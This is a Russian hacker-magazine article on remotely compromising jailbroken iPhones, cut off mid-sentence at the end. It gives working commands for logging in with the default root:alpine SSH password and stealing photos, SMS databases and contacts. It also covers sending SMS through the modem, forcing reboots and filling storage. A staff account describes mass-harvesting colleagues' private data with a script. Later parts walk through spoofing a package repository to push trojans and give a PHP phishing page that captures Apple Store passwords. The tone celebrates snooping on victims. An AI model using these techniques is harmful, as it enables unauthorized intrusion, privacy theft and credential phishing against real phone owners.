Содержание статьи
- Welcome to Darwin
- Обнаружение
- Еще о системе
- Внавалку
- SQLite
- AT+OMFG!
- Перспективы
- Простое западло
- Меняем пароль на iPhone
- Gorl ставит опыты
- Читай так же
- iPhone 3G: прощайте, хакеры!
- Атака 0. SSHD default
- Атака 1. Installer repository spoofing
- Атака 2. Exploits
- Атака 3. Fishing/XSS
- Атака 4. Location Spoofing или «Потерялася я...»
- Взгляд изнутри. Чем поживиться?
- Заключение
С лета прошлого года в Россию ввезли и разлочили больше 300 000 iPhone’ов. Учитывая массовое распространение и достаточно интересное внутреннее устройство этого гаджета, мы решили провести анализ его безопасности и выяснили, что почти любой iPhone можно взломать удаленно за несколько минут!
Welcome to Darwin
Многие относятся к iPhone как к телефону для блондинок. Он, и правда, нравится блондинкам, но работает при этом под управлением абсолютно полноценной Unix-операционки. Мобильная OS X изготавливается из настольной Mac OS X, которая, в свою очередь, является современной версией системы BSD-семейства NeXTSTEP, увидевшей свет за пять лет до ядра Linux – в 1986 году.
Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhone требуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp.
Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является строка «alpine».
Шесть букв в одном регистре — обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.
В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH — как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.
Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении. Заставить телефон звонить и отправлять SMS – легко. Украсть базу с SMS, записную книжку, фотографии – еще проще. Вообще, можно сделать все, что угодно.
Обнаружение
Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi (en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi: GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, времени для взлома обычно немного — iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.
Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт — но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека, задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью.
Обнаружить iPhone с помощью nmap — элементарно. Запусти сканирование стандартным образом (например, nmap -O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:
Not shown: 1714 closed ports
)
PORT STATE SERVICE
22/tcp open ssh
MAC Address: XX:XX:XX:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1
Конечно, сканировать всю подсеть с ключом -O – долго и утомительно. Правильнее было бы пройтись по ней без ключа -O и только потом определить ОС на хостах с открытым 22-ым портом. Но и это не самый рациональный способ. На взломанном iPhone запущен не только sshd, но и mDNSResponder (Zeroconf от Apple). То есть при входе в сеть iPhone оповещает всех присутствующих о том, какие сервисы он предоставляет. Достаточно запустить, к примеру, SFTP-клиент с поддержкой Bonjour (допустим, Cyberduck под Mac OS X), и он известит тебя о появлении нового хоста в сети. Более того, mDNSResponder доступен в виде исходников, портирован на Linux и на Windows, и его легко использовать для автоматизации процесса поиска и проверки всех появившихся в сети телефонов.
Еще о системе
В мобильной OS X два пользователя (не считая nobody и unknown): root (это ты) и mobile (это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile, содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).
Как в любой приличной UNIX ОС, в OS X все – либо файл, либо папка. Самые важные для тебя папки — Library (в них хранятся персональные данные и настройки) и Media (в них хранятся картинки, музыка и видео). В корне файловой системы (помимо стандартных etc, usr, dev и т.д) ты найдешь папки System, Library и Applications. Внутри папки System находится еще одна папка Library. Другая папка Library принадлежит пользователю mobile (/var/mobile/Library).
В настольной Mac OS X положение папки Library определяет ее значимость — в /System/Library свои данные хранят системные приложения, в /Library хранятся данные пользовательских приложений, общие для всей системы, а в ~/Library — личные данные пользователя. То же относится и к мобильной OS X. Поэтому большинство интересных вещей (настройки, базы sms и почтовые базы) ты найдешь в папке /var/mobile/Library/, а ключи доверенных WiFi-сетей — в /Library.
Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite.
Внавалку
Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM. Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда) — воспользуйся утилитой scp:
scp -r root@iPhone.local.:/var/mobile/Media/DCIM
Человек подарил тебе надежду на домашнее порно — подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground.jpg. Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой — она будет скопирована в это место и уменьшена до 320х480 пикселей. Размер важен — если картинка будет больше или меньше, она не будет масштабироваться.
В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место указанной (например, curl http://goatse.cx/hello.jpg -o /var/mobile/Library/LockBackground.jpg), закрепи (чтобы растянуть удовольствие): chmod -w /var/mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета.
Настройки мобильной OS X — яркость, мелодия звонка, время срабатывания будильников и прочее — хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов — текстовые и бинарные. Текстовые, разумеется, можно править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа — системные настройки хранятся в текстовом виде, пользовательские — в бинарном.
Конвертируются плисты с помощью утилиты plutil. Если ты пользуешься Mac OS X, она у тебя уже есть, если нет — скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно — после plutil -convert xml1 ты сможешь править файл, после plutil -convert binary1 скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X — она может исправлять различные параметры прямо из командной строки, без конвертации.
Например, в файле /var/mobile/Library/Prefences/com.apple.springboard.plist (после конвертации в XML) содержится подобный ключ:
<key>ringtone</key>
<string>system:Motorcycle</string>
Эта настройка определяет общую мелодию звонка. Значение в <string></string> может быть одним из следующих:
<default>
(рингтон по умолчанию, называется Marimba);-
system:название рингтона
(рингтон из поставляемых с системой, они содержатся в папке /Library/Ringtones; приведенный выше рингтон — это файл /Library/Ringtones/Motorcycle.m4a); itunes:цифро-буквенный код
(залитый пользователем рингтон, содержащийся в /var/mobile/Media/iTunes_Control/Ringtones; код здесь не имя файла, а идентификатор из какой-то базы данных).
Изменив этот ключ, ты сможешь изменить используемый рингтон. Самый надежный способ — заменить все системные рингтоны своим (контейнер — MPEG-4, кодек — ААС, длительность — не больше 40 секунд, расширение — .m4r).
Чтобы изменить значение ключа ringtone, либо сконвертируй com.apple.springboard.plist в текст, измени его вручную и сохрани, либо, используя утилиту Эрики, отдай команду:
plutil -s ringtone -v “system:Sonar” /var/mobile/Library/Preferences/com.apple.springboard.plist
По тому же принципу можно изменить любые настройки мобильной OS X. За год существования iPhone они были прекрасно документированы, а то, что ты не найдешь в Google, за тебя найдет grep.
SQLite
Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое другое. База SMS лежит тут — /var/mobile/Library/SMS/sms.db, адресная книга тут — /var/mobile/Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).
Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и таблица ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя — мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.
И, конечно, используй sqlite3 в целях мира во всем мире:
sqlite3 sms.db “INSERT INTO messages VALUES(0, ‘+0000000’, 1354321900, ‘МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР’,1,0,NULL,0,0,0,0,0);”
Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе).
AT+OMFG!
Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/codey.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/codey.debug.
Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк — ln /dev/codey.baseband /dev/modem (симлинки на телефоне — это очень круто).
Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT+CBC, сообщит тебе об уровне заряда батарейки:
AT+CBC
+CBC: 0,65
OK
Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся.
AT+CMGF=1
// Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK.
AT+CMGW=”+712345678”
//Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст сообщения — >
> Welcome... to the world of tomorrow!
// Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и +CMGW: N, где N — индекс сообщения в памяти модема.
AT+CMSS=N // Отправка сообщения, индекс которого — N — вернет OK, если сообщение успешно отправлено.
Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone.
Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.
Перспективы
Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше.
Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С. Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее.
Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге) — можно было бы обойтись 10-15 строчками кода. В общем, iPhone — действительно революционное устройство.
Простое западло
Напоследок – два простых рецепта.
1. Если хочешь, чтобы вражеский айфон перезагружался раз в пять минут – просто набери crontab -e и добавь в cron одну строку:
*/5 * * * reboot
2. Неплохая идея – занять все свободные на айфоне гигабайты. Сделать это легко:
cat /dev/random > hahagotcha.txt
Бешеные гигабайты быстро кончатся, и iPhone будет настойчиво предлагать своему владельцу удалить пару фотографий и немного музыки, чтобы расчистить место.
Меняем пароль на iPhone
Если подопытный iPhone принадлежит тебе, защитить его очень просто — просто поменяй пароль root. Но если ты еще не обновился до второй версии прошивки – не стоит при этом использовать passwd. Этим ты испортишь /etc/master.passwd. Хоть OS X и не нужен пароль root, ей нужно прочитать при старте список пользователей. Телефон не сможет загрузиться и тебе придется восстанавливать его прошивку. Поменяй пароль вручную. Для этого нужно посчитать хеш нового пароля командой openssl passwd -crypt -salt /s твой_новый_пароль и заменить хэш пароля пользователя root в /etc/master.passwd. Если ты – конченый параноик, поставь заодно BossPrefs и отключай sshd, когда он тебе не нужен.
Gorl ставит опыты
Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочуственно и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься, а пока - белая ворона.
Движимый благородными чувствами, я решил поломать все имеющиеся в области досигаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы нормальных людей не так сильно смущали.
Больших сложностей после прочтения статьи у меня не возникло.
Скачал для своего домашнего питона модуль pybonjour (http://o2s.csail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-сомвестимыми сервисами.
Подредактировал скрипт browse_and_resolve.py из комлпекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv[1] заменил на '_ssh._tcp' - и никаких тебе аргументов запуска.
Потом в callback-функции добавил, чтобы для кажого hostname запускался тред pscp.exe (из комплекта Pucodey) и скачивал список контактов, смс и все фотографии (%s - это хост айфона).
Контакты:
pscp.exe -r -pw alpine root@%s:/var/mobile/Library/AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\
Фотки:
pscp.exe -r -pw alpine root@%s:/var/mobile/media/DCIM X:\iphones.db\%s\
База SMS:
pscp.exe -r -pw alpine root@%s:/var/mobile/Library/SMS/sms.db X:\iphones.db\%s\
Также потребовалась копия всех этих же комманд для старых прошивок: все то же самое, только 'root' вместо 'mobile'.
После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоткок все понятно (jpeg - он и айфоне jpeg), то чтобы прочесть смс и адресную книгу пришлось скачать специальную утилитку для работы с базами sqlite (http://sqlitebrowser.sourceforge.net).
Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:
SELECT ABPerson.Last, ABPerson.First, ABMultiValue.value FROM ABPerson, ABMultiValue
WHERE ABPerson.ROWID = ABMultiValue.record_id ORDER BY ABPerson.Last
Чтобы не побили хожу теперь по офису и делаю всем passwd.
Читай так же
XCoding под iPhone:
http://www.xakep.ru/magazine/xa/116/090/1.asp
Поднимаем бабло с iPhone: ведение в коммерческий кодинг с помощью
официального SDK:
http://www.xakep.ru/post/47188/default.asp
Взлом iPhone по шагам:
http://www.xakep.ru/post/39597/default.asp
Предыдущая страница:
Welcome to Darwin |
iPhone 3G: прощайте, хакеры!
Первая модель телефона еще не успела состариться, как Apple выпустила на
рынок новый iPhone 3g. Отличий этой модели от своего предшественника всего три:
GSM-контроллер с поддержкой 3g, A-GPS навигационный контроллер и корпус. Само
собой разумеется, новое железо потребовало новой прошивки, и свет увидел вторую
ветку фирмварей. Я не буду подробно описывать все фичи этих прошивок, их можно
без труда найти в инете. Скажу только, что обещанного копи-паста так и не
сделали (на момент написания этой статьи последняя прошивка – 2.2). Вышел и
официальный SDK, и репозиторий-магазин Apple Store. Вторая ветка была зарелизена
и для первого поколения телефонов, поэтому все новые программы универсальны.
Разумеется, хакеры не заставили себя ждать и выпустили под новые прошивки анлоки
и джеилбрейки. Самой популярной программой для разблокировки iPhone стала WinPWN.
Вместе с разблокировкой предлагается поставить менеджеры пакетов Installer (уже
4-ая версия самого первого менеджера) и Cydia (менеджер пакетов на базе Debian
package). В неофициальных репозиториях можно найти вкусные патчи и дополнения,
утилиты и хаки, которых нет в Apple Store. Поэтому Installer и Cydia до сих пор
пользуются популярностью, и списывать со счетов атаки на эти приложения смысла
не имеет.
Атака 0. SSHD default
Самая нетрудная и самая действенная атака. Идея проста, как два байта: многие
пользователи iPhone устанавливают SSH-демон, даже не подозревая, зачем он нужен.
Он используется, например, в программе iPhone tunnel, с помощью которой
эмулируется USB network. Другие пользователи специально ставят SSHD, но поменять
пароль по умолчанию не считают нужным (или попросту ленятся). Вот листинг файла
/etc/master.passwd:
##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
За хэшами скрывается магическое слово alpine. Таким образом, получаем две
связки логин-пароль, с которыми вероятнее всего пустит на iPhone с открытым 22
портом: mobile/alpine и root/alpine. Неслабо? Да, вот так сразу – рутовый
доступ, без лишних проблем. Не стоит думать, что найти такую «халяву» на улицах
тяжело. Поверь мне: сделать это гораздо проще, чем можно было бы подумать (такое
раздолье и заставило меня описать эту тупую и незатейливую атаку). Даже сейчас,
когда больше половины iPhone - белые 3g от отечественных операторов, открытый
порт 22 далеко не редкость.
Атака 1. Installer repository spoofing
Идея этой атаки пришла мне в голову, когда я первый раз взглянул на менеджер
пакетов Installer от RipDev. Соль в том, чтобы создать поддельный репозиторий на
базе обычного веб-сервера (например, встроенного в любую точку доступа
урезанного httpd из busybox). Затем прописать DNS-запись с оригинальным именем
репозитория разработчика и IP-адресом нашего веб-сервера (тоже решается
средствами busy box). После этого iPhone-пользователи, присоединившиеся к нашему
вкусному бесплатному хотспоту (который для пущей красоты можно назвать
как-нибудь типа Godlen_Wifi :)) и обновившие свои программы, получат вместо них
похаканные мобильные трояны. Репозиторий представляет собой xml-конфиги и
zip-файлы с программами. Никакой подписи пакетов и проверки целостности,
спуффинг в чистом виде. Итак, начнем! Скачиваем оригинальные скрипты для
создания репозитория:
http://i.ripdev.com/seed/repo-r1050.zip
Остается лишь найти приложение, которое заведомо будет установлено у всех
пользователей. Нетрудно догадаться, что таким является сам Installer. Вот
оригинальный конфиг производителя http://i.ripdev.com/info/index-2.2.plist, а
вернее, та его часть, которая отвечает за эту софтину:
<dict>
<key>category</key>
<string>System</string>
<key>date</key>
<string>1232132864</string>
<key>identifier</key>
<string>com.ripdev.install</string>
<key>name</key>
<string>Installer</string>
<key>version</key>
<string>4.0</string>
<key>description</key>
<string>THE Installer. Now with resumeable downloads, optimized and tested for
2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting
language and more!
Final release. Includes English, Russian and Ukranian localizations.
</string>
<key>icon</key>
<string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string>
<key>url</key>
<string>http://i.ripdev.com/info/com.ripdev.install-4.0-2.2.plist</string>
</dict>
Чтобы заставить жертву поверить в обновление приложения, исправим
параметры-ключи date и version на произвольные числа, заведомо больше данных.
Теперь перейдем к xml-конфигу из ключа url:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>identifier</key>
<string>com.ripdev.install</string>
<key>name</key>
<string>Installer</string>
<key>version</key>
<string>4.0</string>
<key>description</key>
<string>THE Installer. Now with resumeable downloads, optimized and tested for
2.1 and 2.2, rebuilds installed apps on the fly, supports proxies, Lua scripting
language and more!
Final release. Includes English, Russian and Ukranian localizations.
</string>
<key>icon</key>
<string>http://i.ripdev.com/info/icons/com.ripdev.install-4.0.png</string>
<key>size</key>
<integer>565635</integer>
<key>hash</key>
<string>3d916b3d60c5c31c66e652f2c5711832</string>
<key>location</key>
<string>http://i.ripdev.com/packages/System/installer-40.zip</string>
</dict>
</plist>
Исправим ключ version на такой же, который выставили в предыдущем файле.
Изменим ключ size, чтобы он соответствовал размеру хакнутого файла приложения.
Последний штрих – ключ hash. Смотрим скачанный исходник репозитория
regenerate.php:
$r['hash'] = md5_file($fullpath);
Видим, как все просто, никаких наворотов. Снимаем хэш от лже-приложения и
кладем в значение ключа. Все готово, опционально можно исправить еще и url-ключ
– это уже ничего не изменит. Думаю, тема раскрыта. О том, как создать троян для
iPhone и что для этого потребуется, я постараюсь рассказать в следующих статьях.
Атака 2. Exploits
Уязвимости в основном найдены в веб-браузере Safari и почтовике. Во многом
ошибки повторяют найденные ранее в версиях под MacOs. Комментарии на эту тему
можно найти в исходных их кодах. Первой ласточкой стала ошибка в библиотеке
libtiff, существовавшая на первом поколении телефонов и благополучно
исправленная во вторых прошивках. Далее исследователи копали главным образом
JavaScript процессор. Благо, тут было на что опираться: движок WebKit
перелопатили, еще когда iPhone и в проекте не было, поэтому наработок хоть пруд
пруди. Я умышленно не буду подробно разбирать существующие экспойты для iPhone.
Во-первых, хочется посвятить этому отдельную статью. Во-вторых, пока будет
логичным разобраться с более простыми атаками. Можешь попробовать готовые
реализации:
http://www.iphoneworld.ca/exploits/crash-my-iphone.html
http://www.iphoneworld.ca/exploits/iphone-crash.html
Они прекрасно функционируют на последней (на момент написания статьи)
прошивке 2.2.
Еще пару слов о шелл-кодах. Есть прекрасная
статья на метасплоите, в которой подробно описываются многие аспекты
безопасности яблочного телефона и процесс создания (а вернее, портирования)
шелл-кода для iPhone. Рассказать об этом лучше, чем H.D.Moore, у меня вряд ли
получится, поэтому просто отправляю к первоисточнику. К слову, эта статья была
написана аж 25 сентября 2007 года! Запасись кофе – чаем - сигаретами (нужное
подчеркнуть) и приятного чтения. А если хватит сил и дерзости самому броситься
искать новые дыры, рекомендую для начала проверить все найденные уязвимости в
Safari. Что-то мне подсказывает: не все из них закрыты в мобильной версии ;).
Атака 3. Fishing/XSS
Привожу два типа атак вместе, и связано это с тем, что «так исторически
сложилось»: сначала попалось сообщение об угрозе фишинга на iPhone, затем
захотелось расширить изыскания до XSS. К тому же, ничего конкретного по
межсайтовому скриптингу я не получил, поэтому выделять в отдельный раздел считаю
нецелесообразным. Итак, начнем. Однажды жарким летним днем рассылка секлаба
сообщила, что некий израильский эксперт Авив Рафф нашел уязвимость в клиенте
электронной почты iPhone, которая позволяет маскировать ложные ссылки в письмах.
Перейдя по совершенно корректной и известной на вид ссылке, пользователь
попадает на сайт, где ему под разным соусом предлагается отправить какие-то
личные данные. В общем, схема стандартная, теперь о реализации. Что там придумал
израильский эксперт, конечно, не сообщается, однако первое, что мне пришло на ум
проверить, прочитав этот адвайс – обработку html-тэгов в письмах на iPhone.
Недолго думая, я отправил сам себе письмо в html-формате:
<a href=http://google.ru>http://yandex.ru</a>
Открыв это сообщение через встроенный почтовый агент телефона, я ничуть не
удивился. Ссылка называлась http://yandex.ru, а переходила, как и положено, на
http://google.ru. Самое интересное, что если послать e-mail в формате обычного
текста, со следующим содержанием: http://yandex.ru, то визуально это сообщение
от вышерассмотренного отличаться не будет. Однако ссылки будут вести на разные
сайты. Если подержать палец на такой ссылке высветится всплывающая подсказка, в
которой будет содержаться адрес реального сайта. Недолго думая, я попробовал
<a href="%68%74%74%70%3A%2F%2F%67%6F%6F%67%6C%65%2E%72%75">http://yandex.ru</a>
и был разочарован – почтовый клиент такое парсить отказался, ссылка была
неработоспособна. Со второй попытки получилось – я просто оставил директиву «http://»:
<a href="http://%67%6F%6F%67%6C%65%2E%72%75">http://yandex.ru</a>
Это уже работало корректно, по нажатию на ссылку из письма открывался браузер
с Гуглом. Всплывающее окно отображало хексы, а не явный вид урла. В дополнение
ко всему я убедился, что почтовик не воспринимает атрибуты title и alt. Подвиг
израильского багоискателя был повторен, и я решил сделать страницу с формой,
точно повторяющей диалог запроса пароля для AppleStore (этот диалог всплывает
постоянно, пароль записать нельзя, поэтому пользователи уже на автомате вбивают
данные) и отправить ее внутри iframe в теле письма. Недолго думая, я снял
скриншот с оригинального диалога, распилил его на картинки и собрал в
HTML-таблице. Верстка под Safari оказалась не очень простой, но, все же,
результат вышел очень похожим на правду. Чтобы проверить его в работе, был
написан простой скрипт:
<?php
$fish='
<html>
<body bgcolor="white">
<form method="GET" action="http://creditmne.ru/x/f/i.php" name="fakeform" id="fakeform"
width="278">
<table border="0" style="width:278px;height:175px; padding-top:0px;padding-right:0px;padding-left:0px;padding-bocodeom:0px"
width="278" height="175" cellpadding="0" cellspacing="0">
<tr width="278">
<td colspan="4">
<img src="r11.gif" width="278" height="78"/>
</td>
</tr>
<tr width="278">
<td width="8" colspan="1">
<img src="r21.gif" border="0" width="8" height="30"/>
</td>
<td colspan="2" width="0">
<input type="password" style="width:262;height:30" name="fpass" value="">
</td>
<td width="8" colspan="1">
<img src="r23.gif" style="margin-left:-115px" border="0" width="8" height="30"/>
</td>
</tr>
<tr >
<td colspan="2" >
<input type="image" border="0" src="r31.gif" width="139" height="66"/>
</td>
<td colspan="2" >
<input type="image" border="0" src="r32.gif" width="139" height="66"/>
</td>
</td>
</table>
</form>
</body>
</html>';
$pass = $_GET["fpass"];
if (strlen($pass)!=0) echo "<h1>password sniffed: ".$_GET["fpass"]."</h1>";
else echo $fish;
?>
Я отправил его себе на почту и открыл сообщение. Выглядело весьма натурально.
При нажатии на кнопку «ОК» открылся веб-браузер, пароль был успешно отображен на
экране. Помимо моего пароля, почтовик передал еще два параметра x и y, наверное,
это какие-то относительные координаты места нажатия. Здесь надо заметить, что
данные методом POST не передаются. Очевидно, почтарь передает в браузер только
ссылку. Остаток дня я убил, чтобы заставить почтовик отрабатывать JavaScript.
Тщетно! Не помогают никакие ухищрения. Если твои опыты будут более успешными –
сообщи, буду искренне рад.
Теперь перейдем к iframe. Здесь все было удачно, код:
<iframe src="http://ya.ru" />
– прекрасно отобразил поисковик прямо в теле сообщения. Как и следовало
ожидать, javascript на таких страницах тоже не работал. Далее я выудил всю
информацию о встроенном в почтовик браузере вот таким кодом:
<?php
setcookie("user", "test", time()+3600);
foreach ($_COOKIE as $cookie_name => $cookie_value) {
print("<li>" . htmlspecialchars($cookie_name) . "=" . htmlspecialchars($cookie_value)
. "</li>");
}
print("<h2>server array: ");
$tmp=fopen("iphone-mail.txt","w");
foreach($_SERVER as $key_name => $key_value) {
fputs($tmp, $key_name . " = " . $key_value . "\n");
print( $key_name . " = " . $key_value . "<br>");
}
fclose($tmp);
print("</h2>");
?>
Результаты были следующими – cookies отключены, идентификация браузера
полностью аналогична веб-браузеру Safari:
http_USER_AGENT = Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS
X; ru-ru) AppleWebKit/525.18.1 (KHTML, like Gecko)
http_ACCEPT = text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
http_ACCEPT_LANGUAGE = ru
http_ACCEPT_ENCODING = gzip, deflate
http_CONNECTION = keep-alive
SERVER_ADMIN = [no address given]
REMOTE_PORT = 6084
SERVER_PROTOCOL = http/1.1
REQUEST_METHOD = GET
QUERY_STRING =
argv = Array
argc = 0
В итоге, единственное, что удалось обнаружить – рекурсивное отображение
тела письма, при конструкции
<iframe src=/>
почтовик несколько раз отрисовывает вложенные iframe один в другой. При
каких-то параметрах width и height он зацикливается и рисует бесконечно долго.
Разок я эти параметры угадал, но особого внимания не обратил. Исходник не
сохранился, а воспроизвести заново уже не получилось. Но то, что проблема
остается и параметр src= (впрочем, как и любая конструкция src="blablabla")
ссылается на этот же документ – очевидно. Обычно (в зависимости от остальных
тэгов страницы) отрисовывается 3-4 повтора. Конечно, бесконечное отображение это
утечка памяти, но ее успешный результат – всего лишь завершение работы
почтовика. Кроме того, обнаружился приятный момент – недокументированный
инклудинг документов прямо в тело письма. Отправляем html письмо с iframe,
ссылающимся на скрипт:
<?php
header('Content-type: application/vnd.ms-excel');
header('Content-Disposition: acodeachment; filename="downloaded.xls"');
readfile('xls.xls');
?>
В итоге, получаем просмотр документов PDF/DOC/XLS прямо в теле письма в
почтовике. Негусто! Последняя наработка – метатэги. Они в почтовике
отрабатываются корректно, например, можно сделать редирект:
<meta http-equiv="Refresh" content="1; url=http://ya.ru">
Если оставить параметр url пустым, страница просто обновится (а вернее –
будет постоянно обновляться). Что ж, обзор атак подобного типа предлагаю
завершить. В этой области еще предстоит трудиться и трудиться, чтобы получить
хоть какие-нибудь результаты.
Атака 4. Location Spoofing или «Потерялася я...»
Эту атаку, судя по всему, придумали швейцарцы. Во всяком случае, они первые о
ней написали. Теоретическая возможность была рассмотрена сильно раньше этой
статьи, однако практическая реализация касательно iPhone/iPod принадлежит именно
им. Вот ссылка на первоисточник:
http://www.syssec.ch/press/location-spoofing-acodeacks-on-the-iphone-and-ipod
Рекомендую ознакомиться, потому, что заниматься переводом у меня нет никакого
желания :). Если вкратце: Apple iPhone 2g и Apple iPod touch умеют определять
свое местоположение в пространстве, основываясь на данных от GSM-вышек и уровне
